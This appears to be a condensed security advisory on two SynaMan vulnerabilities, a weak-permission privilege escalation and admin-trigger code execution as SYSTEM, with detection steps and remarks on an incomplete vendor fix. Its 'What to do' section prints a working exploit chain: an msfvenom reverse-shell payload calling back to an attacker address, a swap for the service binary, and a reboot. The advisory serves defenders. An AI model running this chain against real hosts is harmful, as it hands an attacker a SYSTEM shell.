Multiple vulnerabilities in Synametrics' Synaman

What it is

Two vulnerabilities in Synametrics SynaMan (remote file manager), found during a CTF box. CVE-2022-26250 is a local privilege escalation via weak service/filesystem permissions; CVE-2022-26251 is RCE-as-SYSTEM built from the web UI's intended admin features. Affected: SynaMan 5.0 and below, with only a partial fix in 5.1.

How it works

CVE-2022-26250: SynaMan 5.0 installs to C:\SynaMan and runs the SynaMan service as LocalSystem. The binary's ACL grants NT AUTHORITY\Authenticated Users:(I)(M) — modify. Any local user overwrites SynaMan.exe with a payload; the next reboot runs it as SYSTEM.

CVE-2022-26251: the web UI (port 6060) lets an authenticated admin create a public read/write share, upload a binary to it, then create a "trigger" (e.g. on "File uploaded") whose executable path points at that binary. The trigger runs as SYSTEM. The author notes these are by-design features abused with malicious intent.

Preconditions / Affected

• 26250: local account on the host; SynaMan 5.0 or below installed at C:\SynaMan.
• 26251: authenticated admin on the web UI reachable on port 6060.

What to do

Verify the service context and binary ACL:

sc.exe qc SynaMan
icacls C:\SynaMan\SynaMan.exe

Look for SERVICE_START_NAME : LocalSystem alongside Authenticated Users:(I)(M). The demonstrated exploit path:

msfvenom -p windows/x64/shell_reverse_tcp -a x64 LHOST=192.168.0.11 LPORT=8080 -f exe -o r8080.exe
move C:\SynaMan\SynaMan.exe C:\SynaMan\SynaMan.exe.bak
move C:\SynaMan\r8080.exe C:\SynaMan\SynaMan.exe
shutdown /r

Update past 5.1 — but see below.

Caveats

• The version number is unreliable. The page states 5.1 was reissued multiple times under the same version number; the first 5.1 "claims to fix CVE-2022-26250 but it does not." Per the timeline, the vendor only actually fixed 26250 on 01/04/2022 (public disclosure 05/04/2022). Users who took 5.1 at release must re-update.
• Version 5.1 also moved the install to Program Files, addressing the weak-directory root cause of 26250.
• CVE-2022-26251 relies on features the author describes as intended behavior, so treat it as a hardening/exposure problem (restrict admin access and port 6060), not something a patch necessarily removes. The fetched text cuts off mid-sentence on what 5.1 did for 26251.